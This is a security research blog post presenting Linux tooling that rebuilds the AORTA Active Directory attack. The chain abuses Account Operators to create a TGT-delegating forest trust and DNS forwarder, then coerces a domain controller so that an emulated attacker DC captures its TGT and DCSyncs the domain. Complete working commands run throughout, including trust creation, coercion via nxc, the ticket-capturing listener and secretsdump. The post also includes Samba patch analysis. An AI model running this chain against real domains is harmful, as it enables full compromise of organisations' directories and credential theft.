Post

AORTA from Linux

Rebuilding the AORTA attack chain with no Windows on the attacker side

AORTA from Linux

TL;DR: The published AORTA proof of concept has two Windows dependencies: Trustify.exe for operations against the victim and a Windows domain controller (DC) for the attacker forest. We replaced both with Linux implementations. aorta creates the malicious inbound trust and DNS conditional forwarder using impacket. The new aorta-dc is a single Python process that emulates only the DNS, CLDAP, Kerberos, and SMB behavior needed to capture the victim DC’s delegated TGT. The earlier aorta-linux-dc project provides a full Dockerized Samba AD DC and documents the Samba compatibility work that led to the standalone emulator.

In June 2025, SpecterOps published Untrustworthy Trust Builders: Account Operators Replicating Trust Attack (AORTA). The article shows that a member of Incoming Forest Trust Builders can create an inbound forest trust with TGT delegation enabled. AdminSDHolder does not protect this builtin group. With a DNS conditional forwarder created through DnsAdmins, a coerced DC will send its TGT to an attacker-controlled forest. From there, the attacker can DCSync the domain.

The attack is elegant, but the published tooling requires Windows at both ends: Trustify.exe for the victim-side operations and a Windows DC to host the attacker forest. A Linux-first operator therefore needs a Windows VM solely for this attack path.

This research makes four contributions:

  • aorta reimplements the malicious inbound trust and DNS conditional forwarder in Python using impacket, replacing Trustify.exe and the PowerShell DNS cmdlets.
  • aorta-dc replaces the attacker forest with a narrow, standalone Python emulator. It includes its own ticket-capturing SMB listener, so neither Samba nor krbrelayx is required.
  • aorta-linux-dc remains the full-forest implementation: a Dockerized Samba AD DC behind a single start-aorta-dc.sh orchestrator.
  • A Samba compatibility analysis identifies two silent trust-handling failures, isolates the missing cross-realm delegation behavior, and ships the required KDC patch reproducibly.

Attack background

If you have not read the original article, here is the minimum background:

  1. Incoming Forest Trust Builders holds the Create-Inbound-Forest-Trust extended right on the domain object (forest root domain only). Native tools — netdom, the GUI, System.DirectoryServices — offer no option to enable TGT delegation. Nothing in the RPC layer stops you.
  2. LsarCreateTrustedDomainEx (LSARPC opnum 51) accepts TrustAttributes = 0x808 (FOREST_TRANSITIVE | ENABLE_TGT_DELEGATION) from such a user. A follow-up LsarSetForestTrustInformation (opnum 74) attaches the forest top-level name (TLN). The trusted domain object (TDO) is now a functional forest trust. That is what Trustify does.
  3. The coerced DC must reach the attacker “forest” over Kerberos. Otherwise it falls back to NTLM, and no TGT is delegated. The victim DNS must therefore resolve the attacker domain — a conditional forwarder that DnsAdmins can create.
  4. Both groups are under Account Operators control (AdminSDHolder does not protect them). An Account Operators foothold becomes full forest compromise: coerce a DC (PrinterBug, DFSCoerce, …) toward the unconstrained-delegation host, capture the DC’s TGT, and DCSync.

MSRC rated the technique “moderate” and addressed it through a documentation update, so the underlying behavior remains available. Detection and hardening are summarized at the end of this post.

Victim-side implementation: trust and DNS primitives

aorta is an impacket-based Python package with two command groups:

1
2
3
aorta trust {add,list,delete}      # LSARPC: opnums 51 (create), 74 (forest info),
                                   #          25/34 (open/delete), enumerate via Ex
aorta forwarder {add,list,delete}  # MS-DNSP: R_DnssrvOperation2 (opnum 5)

The first command creates the malicious inbound forest trust, replacing Trustify.exe create:

1
2
3
aorta trust add -u operator -d victim.local --dc dc.victim.local -p '<pw>' \
    --attacker-domain bytestorm.local --attacker-netbios BYTESTORM \
    --attacker-sid S-1-5-21-42-42-42 --trust-password '<secret>'

Creating the inbound trust

We then create the conditional forwarder, replacing Add-DnsServerConditionalForwarderZone:

1
2
aorta forwarder add -u operator -d victim.local --dc dc.victim.local -p '<pw>' \
    --zone bytestorm.local --master <attacker-vpn-ip>

Creating the DNS forwarder

The CLI supports passwords, NTLM hashes, AES keys, and ccaches. NTLM is the default; -k enables Kerberos and is implied by --aes and --ccache. Where the victim clock is skewed, the command can run under faketime.

Attacker-side implementation: a standalone DC emulator

The Samba implementation proved which protocol exchanges AORTA actually needs. A complete directory, Netlogon service, AS exchange, and general-purpose KDC are not on that list. aorta-dc reduces the attacker side to one Python process and four listeners:

Port Service Purpose
UDP/53 DNS Answer attacker-domain A and Kerberos/LDAP SRV queries
UDP/389 CLDAP Return a Netlogon LDAP-ping DC-locator response
TCP/88 Kerberos Accept the referral TGT and mint cifs/<dc> with ok-as-delegate
TCP/445 SMB Accept the AP-REQ, extract the delegated TGT, and save a ccache

It installs as a normal Python CLI:

1
uv tool install git+https://github.com/0xNDI/aorta-dc

Only the victim DC IP is mandatory:

1
aorta-dc 10.129.245.56

Anonymous LDAP RootDSE recon derives the victim realm and DC FQDN. The attacker realm defaults to bytestorm.local, the SID to S-1-5-21-42-42-42, and the shared trust password to Password__42; each has a CLI override. The VPN IP is auto-detected, or can be supplied with --ip. If anonymous recon is blocked, --victim-realm and --victim-dc supply the missing values.

The startup banner prints complete aorta trust add, aorta forwarder add, and NetExec coercion commands with the discovered values filled in. The process then waits for the victim:

Capturing a delegated TGT with aorta-dc

The implementation is deliberately not a general-purpose DC:

  • The DNS responder is authoritative only for the configured attacker realm. It answers the A and SRV records used by DC location and never forwards queries.
  • CLDAP implements only the Netlogon LDAP ping. It is not an LDAP directory.
  • The stateless, TGS-only KDC accepts one AES256 flow: a victim referral TGT for krbtgt/<ATTACKER>@<VICTIM> requesting cifs/<attacker-dc>. It derives the incoming trust key directly from the shared trust password and issues the service ticket with ok-as-delegate set.
  • The built-in SMB listener implements the narrow SPNEGO/Kerberos capture path needed by AORTA. It decrypts the service ticket with its configured AES key, extracts the delegated KRB_CRED, and writes the victim DC TGT as a ccache. There is no NTLM capture or relay functionality.

Because there is no real machine account, the service AES key is simply shared between the tiny KDC and SMB listener in memory. A static lab key makes the default deterministic; --random-service-key generates a fresh one, and --service-aes-key accepts an explicit 32-byte key. No key has to be copied into a separate capture tool.

This also removes the two awkward pieces of full-DC operation. There is no AD state to provision or trust secret to inject, and there is no separate krbrelayx process competing with Samba for TCP/445. After the first ticket is saved, aorta-dc stops itself and prints—but never executes—a ready-to-paste secretsdump.py command.

Clock handling is equally narrow. Ticket lifetimes come from the referral and the authenticator supplies the victim’s time basis, so the attacker host does not need to synchronize its clock. The observed skew is used only to add a faketime prefix to the printed DCSync command when needed.

The listeners bind privileged UDP/53, UDP/389, TCP/88, and TCP/445 on the VPN interface. Kali permits unprivileged low-port binding by default; other systems may need narrowly scoped elevated privileges. Existing DNS, LDAP, Kerberos, or SMB listeners must be stopped first.

First attacker-side implementation: Samba AD DC in Docker

The standalone emulator is now the shortest route through the attack. The original Linux implementation remains useful when a real attacker forest is wanted, and its development exposed the Samba behavior that explains exactly why the emulator must set ok-as-delegate.

That design uses Samba in AD DC mode. The hard requirement is correct cross-realm Kerberos referral and trust behavior; Samba already provides the KDC and directory primitives needed for both.

aorta-linux-dc packages that:

  • A patched instantlinux/samba-dc image (Alpine, Samba 4.23.x) behind docker-compose.yml, on bridge networking. Victim-facing ports are published on 0.0.0.0; SMB/445 is published on loopback only (reason below).
  • The DC01$ machine account is the unconstrained-delegation capture target. A DC has UF_TRUSTED_FOR_DELEGATION by default, so you need no extra service account — and no SPN changes: the KDC’s sPNMappings aliasing resolves cifs/dc01.bytestorm.local through the default HOST/dc01.bytestorm.local. (We first added a cifs SPN defensively; testing proved it unnecessary.)
  • All attacker-forest A records (@, dc01) are pinned to the VPN IP. samba_dnsupdate is disabled, so the container’s internal IP never leaks into DNS.
  • The whole container runs at the victim’s clock through libfaketime (LD_PRELOAD + FAKETIME_OFFSET), with the offset measured automatically by skewrun. Kerberos clock skew then is a non-issue on the attacker side.
  • Anonymous victim recon (null-session LSARPC lsaquery + RootDSE) collects the realm, NetBIOS name, domain SID, and DC FQDN — everything the outgoing trust needs — with no credentials.
  • A local-only outgoing trust creator and trust validator (details below).
  • Deterministic identity: a fixed DOMAIN_SID and machine password mean every fresh provision yields the same domain SID and the same DC01$ AES256 key. The values you feed to aorta trust add --attacker-sid and krbrelayx -aesKey survive container rebuilds.

One command brings up the entire attacker side:

1
./samba/start-aorta-dc.sh <victim_dc_ip>     # recon → wipe → provision → DNS → trust → keys

The script first enumerates the victim domain anonymously:

Anonymous victim enumeration

Once provisioning finishes, the ready banner prints the fixed attacker SID and the DC01$ AES key needed by the victim-side trust and krbrelayx:

Attacker forest ready

Constraint: samba-tool domain trust create contacts the victim

The obvious attacker-side step is samba-tool domain trust create victim.local .... Source review shows that setup_remote_server and new_remote_lsa_connection run unconditionally. Even with --create-location=local, the tool wants an account in the victim domain to finish the trust. This violates the AORTA threat model: constructing the attacker side must not require victim-domain administrative credentials.

Our implementation mirrors the victim-side tool. LsarCreateTrustedDomainEx (opnum 51) is a pure local operation: it writes the TDO into the local directory and never touches the peer. Accordingly, aorta-linux-dc ships trust-create.py. It authenticates as BYTESTORM\Administrator to 127.0.0.1 only, creates the outgoing trust with 0x808, and sets the TLN via opnum 74. The trust-key pairing is simply victim Incoming == attacker Outgoing, with the same shared secret.

Finding 1: Samba’s opnum 51 silently drops the trust password

Windows and Samba handle the same RPC call asymmetrically. The call succeeds against Windows but only partially succeeds against Samba. lsa_CreateTrustedDomainEx in Samba’s dcesrv_lsa.c contains this comment:

1
2
3
4
/*
 * More investigation required here, do not create secrets for now.
 */
struct trustDomainPasswords auth_struct = { .incoming_size = 0 };

The AuthenticationInformation argument — the trust password — is silently discarded. The TDO is created with the right SID, direction, attributes, and TLN, but with no secret. The KDC derives no trust keys, and the victim’s cross-realm referral TGT is rejected with KRB_AP_ERR_NOT_US (“the ticket isn’t for us”).

A minimal Kerberos test isolates this failure without coercion or krbrelayx:

1
2
kinit operator@VICTIM.LOCAL && kvno -S cifs dc01.bytestorm.local
# → KRB5KRB_AP_ERR_NOT_US  ⇒  trust-key mismatch on the attacker side

samba-tool avoids this problem by using CreateTrustedDomainEx2, which passes an NDR-serialized trustDomainPasswords blob. We mirror the resulting state instead: trust-secret.py runs inside the container and writes trustAuthOutgoing directly into sam.ldb through a system-session LDB. It uses Samba’s own ndr_pack(trustAuthInOutBlob), so the stored bytes match what dcesrv would have stored. No restart is needed; the KDC reads the TDO live.

Finding 2: Samba strips ok-as-delegate — the 15-line patch

With both sides of the trust correct, coercion finally produced Kerberos traffic, and krbrelayx answered:

1
2
3
[*] SMBD: Received connection from 10.129.55.219
[-] Delegate info not set, cannot extract ticket!
[-] Make sure the account you use has unconstrained delegation rights

The visible configuration was correct: both TDOs had attributes 0x808, DC01$ had UF_TRUSTED_FOR_DELEGATION, and the AES keys were valid. We therefore moved the investigation to ticket issuance.

Step 1: instrument the listener. We patched krbrelayx locally to print the decisive facts per connection: ticket flags, the ok-as-delegate bit, client and service principals, and the GSS flags of the incoming AP-REQ. The next coercion showed:

1
2
3
4
[*] [AORTA] ticket flags : 1084751872          # 0x40A00000
[*] [AORTA] ok-as-delegate: False
[*] [AORTA] client : DC$@VICTIM.LOCAL
[*] [AORTA] service sname : cifs/dc01.bytestorm.local

0x40A00000 is forwardable | renewable | pre-authent — no 0x40000 (ok-as-delegate). Our own KDC issued the service ticket without the flag. The Windows SMB client therefore never set GSS_C_DELEG_FLAG and never embedded the delegated KRB_CRED with the DC’s TGT. The error message (“make sure the account has unconstrained delegation rights”) was misleading. The account had those rights.

Step 2: separate local from cross-realm. With Heimdal’s klist -f inside the container (O = ok-as-delegate in its letter flags), a local cifs/dc01 ticket showed flags RATO — flag present — while the cross-realm ticket for VICTIM\DC$ lacked it. The fault was KDC-side, and specific to the cross-realm path.

Step 3: read the KDC source. In Samba’s bundled Heimdal (third_party/heimdal/kdc/krb5tgs.c):

1
2
3
et->flags.ok_as_delegate = r->server->flags.ok_as_delegate;   // DC01$ => 1
if (!r->krbtgt->flags.ok_as_delegate)
    et->flags.ok_as_delegate = 0;                             // trust entry => 0

The service account sets the flag. The KDC then clears it, because the cross-realm krbtgt trust entry does not have it. Where does that entry get its flag? From the trust attributes. Samba commit 428bc209 (“s4:kdc: support entry->flags.ok_as_delegate for trusted domains”, Stefan Metzmacher, March 2025) maps ENABLE_TGT_DELEGATION → ok_as_delegate = 1 (and NO_TGT_DELEGATION/QUARANTINED → 0) in samba_kdc_trust_message2entry(). That commit is in no Samba release. It is part of draft upstream merge request !2864, which covers a larger KDC trust-handling series. In every release tree (4.23.x, 4.24.x), CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION appears only in a torture test, never in the KDC. The TGS-side logic that clears the flag is likewise unchanged in master.

The fix is the commit’s 15 lines:

1
2
3
4
5
6
7
8
9
10
/* [MS-KILE] 3.3.5.7.5 Cross-Domain Trust and Referrals */
entry->flags.ok_as_delegate = 0;
if (tdo->trust_attributes & LSA_TRUST_ATTRIBUTE_WITHIN_FOREST)
        entry->flags.ok_as_delegate = 1;
if (tdo->trust_attributes & LSA_TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION)
        entry->flags.ok_as_delegate = 1;
if (tdo->trust_attributes & LSA_TRUST_ATTRIBUTE_CROSS_ORGANIZATION_NO_TGT_DELEGATION)
        entry->flags.ok_as_delegate = 0;
if (tdo->trust_attributes & LSA_TRUST_ATTRIBUTE_QUARANTINED_DOMAIN)
        entry->flags.ok_as_delegate = 0;

To ship the patch reproducibly, the aorta-linux-dc Dockerfile uses a multi-stage build. It clones the Alpine aports samba package on the matching 3.24-stable branch, injects the patch into APKBUILD, builds with abuild, and copies only the patched libdb-glue-private-samba.so over the stock image. The 20-minute build is cached; the base image and AD volumes stay untouched.

After applying the patch, the same instrumentation showed the success path:

1
2
ticket flags 0x40AC0000 → ok-as-delegate: True
GSS flags 0x23 → GSS_C_DELEG_FLAG: True

This was followed by the victim DC’s TGT being written to DC$@VICTIM.LOCAL_krbtgt@VICTIM.LOCAL.ccache.

The central compatibility finding is therefore that stock Samba — every release to date, including current 4.24.x and master — cannot serve as the attacker forest for AORTA or any trust-TGT-delegation scenario. The failure is silent and misleading: the capture listener reports missing delegation rights even though those rights are configured correctly. Upgrading to a released version does not resolve it; the patch must be carried downstream.

Trust validation

The orchestrator verifies the result with validate-trust.py, a standalone impacket equivalent of nltest /sc_verify:<domain>. It calls NetrLogonControl2Ex with NETLOGON_CONTROL_TC_VERIFY, making Netlogon validate the trust from the Samba side. The check uses NTLM against our own DC, so it needs no victim credentials and is unaffected by clock skew.

Operational constraint: TCP/445 ownership

krbrelayx impersonates an SMB service and must therefore own victim-facing TCP/445 on the VPN IP. Samba also needs SMB locally for the orchestrator’s LSARPC calls. We separate the two with Docker bridge networking: the required AD ports (53, 88, 135, 389, 464, …) are published on 0.0.0.0, while Samba’s TCP/445 is published on 127.0.0.1 only. Local tooling can still reach Samba over loopback, and krbrelayx can bind VPN-side TCP/445 exclusively:

1
krbrelayx.py -aesKey <DC01$_AES256> -ip <vpn-ip>

With bind interfaces only = yes, Samba also skips tun0 because it is a TUN/point-to-point interface. Publishing the required container ports on 0.0.0.0 avoids binding Samba directly to that interface.

Stable identity and key validation

The fixed DOMAIN_SID and MACHINE_PASS also make reprovisioning predictable. A container restart does not rotate the DC01$ keys, while a fresh provision normally would generate a new domain SID and machine password. Passing both values through the patched entrypoint keeps the attacker SID, keytab, and printed AES key stable across rebuilds.

End-to-end workflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# attacker side: one process; keep it running while completing the next steps
# (the banner prints these victim-side commands with discovered values filled in)
aorta-dc 10.129.56.79

# victim side, from the Account Operators-derived foothold:
aorta trust add -u operator -d victim.local --dc dc.victim.local -p '<pw>' \
    --attacker-domain bytestorm.local --attacker-netbios BYTESTORM \
    --attacker-sid S-1-5-21-42-42-42 --trust-password 'Password__42'
aorta forwarder add -u operator -d victim.local --dc dc.victim.local -p '<pw>' \
    --zone bytestorm.local --master <vpn-ip>

# trigger authentication to the emulated DC:
nxc smb victim.local -u operator -p '<pw>' -M coerce_plus \
    -o LISTENER=dc01.bytestorm.local

# aorta-dc saves DC$@VICTIM.LOCAL_krbtgt@VICTIM.LOCAL.ccache,
# stops its four listeners, and prints the exact faketime + secretsdump command

The coercion gives aorta-dc the victim DC’s delegated TGT. Using that ccache, secretsdump.py can DCSync the victim domain:

DCSync with the captured ticket

The workflow requires no Windows attacker VM, Docker, Samba, krbrelayx, Rubeus, or mimikatz to obtain the TGT. Operators who need a complete attacker forest rather than the minimum capture surface can still use aorta-linux-dc.

Impact and applicability

  • The operational barrier is lower again. The attacker forest is reduced to one installable Python command with automatic victim recon, DC location, cross-realm ticket issuance, delegated-ticket capture, clock-skew discovery, and a generated DCSync command. The victim-side primitives retain impacket’s support for passwords, NTLM hashes, AES keys, and Kerberos ccaches.
  • AORTA does not require a complete attacker directory. For this path, four narrowly implemented protocol endpoints are enough. Omitting AS, general LDAP, Netlogon/RPC, password changes, and unrelated Kerberos exchanges makes the responder disposable and keeps its behavior easy to inspect.
  • Stock Samba is not sufficient when using a real Samba attacker forest for trust-based TGT delegation. The 428bc209 backport is required for the attacker KDC to preserve ok-as-delegate on cross-realm service tickets. Without it, the failure presents as an unconstrained-delegation configuration error. aorta-dc bypasses that Samba path and emits the required flag directly.
  • Both implementations are reproducible. The emulator derives its trust key directly and carries no directory state; the full Samba design provides fixed AD identity, explicit trust-secret injection, trust validation, clock-skew handling, and deterministic port exposure.
This post is licensed under CC BY 4.0 by the author.